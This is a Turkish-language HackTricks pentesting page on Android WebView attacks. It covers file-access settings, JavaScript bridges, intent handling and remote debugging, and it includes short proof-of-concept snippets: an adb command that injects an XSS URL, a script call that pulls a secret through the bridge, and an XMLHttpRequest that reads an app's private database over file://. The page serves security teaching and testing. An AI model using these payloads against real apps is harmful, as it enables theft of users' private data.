hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

10 KiB
Raw Blame History

Webview Saldırıları

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

WebView Yapılandırmaları ve Güvenliği Rehberi

WebView Zafiyetlerinin Genel Bakışı

Android geliştirmenin kritik bir yönü, WebViews'in doğru şekilde işlenmesini içerir. Bu rehber, WebView kullanımıyla ilişkili riskleri azaltmak için temel yapılandırmaları ve güvenlik uygulamalarını vurgular.

WebView Örneği

WebViews'de Dosya Erişimi

Varsayılan olarak, WebViews dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3 (Cupcake 1.5) ile kullanılabilen setAllowFileAccess() yöntemi tarafından kontrol edilir. android.permission.READ_EXTERNAL_STORAGE iznine sahip uygulamalar, dosya URL şeması (file://path/to/file) kullanarak harici depolamadan dosyaları okuyabilir.

Eskimiş Özellikler: Evrensel ve URL'lerden Dosya Erişimi

  • Dosya URL'lerinden Evrensel Erişim: Bu eskimiş özellik, dosya URL'lerinden çapraz köken isteklere izin veriyordu ve potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski oluşturuyordu. Android Jelly Bean ve üzeri sürümlere hedeflenen uygulamalar için varsayılan ayar devre dışı bırakılmıştır (false).
  • Bu ayarı kontrol etmek için getAllowUniversalAccessFromFileURLs() kullanın.
  • Bu ayarı değiştirmek için setAllowUniversalAccessFromFileURLs(boolean) kullanın.
  • Dosya URL'lerinden Dosya Erişimi: Bu özellik de eskimiştir ve diğer dosya şema URL'lerinden içeriğe erişimi kontrol eder. Evrensel erişim gibi, artırılmış güvenlik için varsayılan olarak devre dışı bırakılmıştır.
  • Kontrol etmek için getAllowFileAccessFromFileURLs() kullanın ve ayarlamak için setAllowFileAccessFromFileURLs(boolean) kullanın.

Güvenli Dosya Yükleme

Dosya sistemine erişimi devre dışı bırakmak ancak varlıklara ve kaynaklara hala erişmek için setAllowFileAccess() yöntemi kullanılır. Android R ve üzeri sürümlerde, varsayılan ayar false'dur.

  • getAllowFileAccess() ile kontrol edin.
  • setAllowFileAccess(boolean) ile etkinleştirin veya devre dışı bırakın.

WebViewAssetLoader

WebViewAssetLoader sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımı temsil eder. Yerel varlıklara ve kaynaklara erişmek için http(s) URL'lerini kullanır ve Aynı Köken politikası ile uyumlu olarak çalışır, böylece CORS yönetimini kolaylaştırır.

loadUrl

Bu, bir web görünümünde keyfi URL'leri yüklemek için yaygın olarak kullanılan bir işlevdir.

webview.loadUrl("<url here>")

Tabii ki, potansiyel bir saldırganın bir uygulamanın yükleyeceği URL'yi kontrol edebilmesi asla mümkün olmamalıdır.

JavaScript ve Intent Scheme İşleme

  • JavaScript: WebViews'da varsayılan olarak devre dışı bırakılmıştır, setJavaScriptEnabled() aracılığıyla etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi, güvenlik açıklarına neden olabilir, bu nedenle dikkatli olunmalıdır.
  • Intent Scheme: WebViews, intent şemasını işleyebilir ve dikkatli bir şekilde yönetilmezse, sömürülere yol açabilir. Bir örnek güvenlik açığı, kötü niyetli bir şekilde kullanılabilecek "support_url" adlıık bir WebView parametresini içeriyordu ve bu durum çapraz site komut dosyası (XSS) saldırılarını gerçekleştirmek için sömürülebilirdi.

Zararlı WebView

adb kullanarak sömürü örneği:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"

{% endcode %}

Javascript Köprüsü

Android tarafından sağlanan bir özellik, bir WebView içindeki JavaScript'in yerel Android uygulama işlevlerini çağırmasını sağlar. Bu, JavaScript'i yerel Android işlevleriyle bütünleştiren addJavascriptInterface yöntemi kullanılarak gerçekleştirilir ve WebView JavaScript köprüsü olarak adlandırılır. Bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüzü nesnesine erişmesine izin verdiği için dikkatli olunmalıdır, çünkü hassas bilgiler bu arayüzler aracılığıyla ifşa edilirse güvenlik riski oluşturabilir.

  • Android sürümü 4.2'den düşük hedefleyen uygulamalar için ırı dikkat gerekir, çünkü kötü amaçlı JavaScript kullanarak yansımayı sömürerek uzaktan kod yürütme izni veren bir zafiyet bulunmaktadır.

Bir JavaScript Köprüsü Uygulamak

  • JavaScript arayüzleri, bir sınıf yönteminin JavaScript'e açıklandığı örneklerde olduğu gibi yerel kodla etkileşime geçebilir:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Köprüsü, WebView'e bir arayüz eklenerek etkinleştirilir:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • JavaScript aracılığıyla potansiyel sömürü, örneğin bir XSS saldırısı yoluyla, açığa çıkarılan Java yöntemlerinin çağrılmasını sağlar:
<script>alert(javascriptBridge.getSecret());</script>
  • Riskleri azaltmak için JavaScript köprüsü kullanımını kısıtlayın ve JavaScript'in uzaktan kaynaklardan yüklenmesini engelleyin. Daha eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.

Yansıma Tabanlı Uzak Kod Yürütme (RCE)

  • Belgelenmiş bir yöntem, belirli bir yükü çalıştırarak yansıma aracılığıyla RCE elde etmeyi sağlar. Bununla birlikte, @JavascriptInterfaceıklaması izinsiz yöntem erişimini önler, saldırı yüzeyini sınırlar.

Uzaktan Hata Ayıklama

  • Uzaktan hata ayıklama, Chrome Geliştirici Araçları ile mümkündür ve WebView içeriği içinde etkileşim ve keyfi JavaScript yürütme sağlar.

Uzaktan Hata Ayıklamanın Etkinleştirilmesi

  • Uzaktan hata ayıklama, bir uygulama içindeki tüm WebViews için şu şekilde etkinleştirilebilir:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Keyfi Dosyaları Dışa Aktarma

  • Bir XMLHttpRequest kullanarak keyfi dosyaların dışa aktarılmasını gösterir:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: